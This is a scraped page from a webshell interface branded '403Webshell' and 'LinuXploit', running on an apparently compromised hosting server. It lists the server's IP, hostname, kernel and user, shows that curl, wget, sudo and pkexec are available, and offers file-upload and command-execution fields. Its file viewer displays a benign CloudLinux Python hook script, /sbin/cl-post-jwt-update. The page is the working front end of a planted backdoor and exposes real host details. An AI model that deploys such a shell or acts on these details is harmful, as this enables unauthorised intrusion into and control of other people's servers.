- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.142.198.250
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /sbin/cl-post-jwt-update
#!/opt/cloudlinux/venv/bin/python3 -bb
import argparse
import subprocess, os

# The following imports might cause an ImportError if there's no alt-python27-cllib in the CL venv.
# However, cllib is always installed during the installation of the CloudLinux OS, so that is very unlikely.
# alt-python27-cllib is not a direct dependency of the rhn-client-tools package, because during the installation
# of the CloudLinux OS, rhn-client-tools must be installed before alt-python27-cllib.
from clcommon.utils import is_ubuntu

HOOKS_DIR = '/opt/cloudlinux/rhn_hooks/post.d'

def _update_edition_user_file():
    """
    Save information about current edition in specific
    location available for users
    """
    if not os.path.exists('/usr/bin/cldetect') or not os.path.exists('/opt/cloudlinux/'):
        return

    p = subprocess.Popen(['/usr/bin/cldetect', '--detect-edition'],
        stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = p.communicate()
    if p.returncode == 0:
        with open('/opt/cloudlinux/cl_edition.tmp', 'wb') as f:
            f.write(stdout)
        os.rename('/opt/cloudlinux/cl_edition.tmp', '/opt/cloudlinux/cl_edition')
        os.chmod('/opt/cloudlinux/cl_edition', 0o644)


def _trigger_universal_hooks():
    """
    Discovers executable files in directory and triggers them all together
    Executable files are brought by different rpm packages, depending on which one
    requires the action
    """
    if not os.path.exists(HOOKS_DIR):
        return

    hooks = [os.path.join(HOOKS_DIR, f) for f in os.listdir(HOOKS_DIR)
             if os.path.isfile(os.path.join(HOOKS_DIR, f))]

    for hook in hooks:
        process = subprocess.Popen([hook],
                                   stdout=subprocess.PIPE,
                                   stderr=subprocess.PIPE)
        stdout, stderr = process.communicate()


def _run_edition_change_check():
    # TODO: remove the check after resolving CLOS-3105
    if not is_ubuntu():
        # run interactively
        subprocess.run(['cloudlinux-edition-watcher', 'check'])


def main(args):
    """
    You add your other actions here, but don't forget to handle errors.
    """
    _update_edition_user_file()
    if args.allow_transition:
        _run_edition_change_check()
    _trigger_universal_hooks()


if __name__ == '__main__':
    parser = argparse.ArgumentParser()

    parser.add_argument('--allow-transition', action='store_true', default=False)

    main(args=parser.parse_args())

Youez - 2016 - github.com/yon3zu
LinuXploit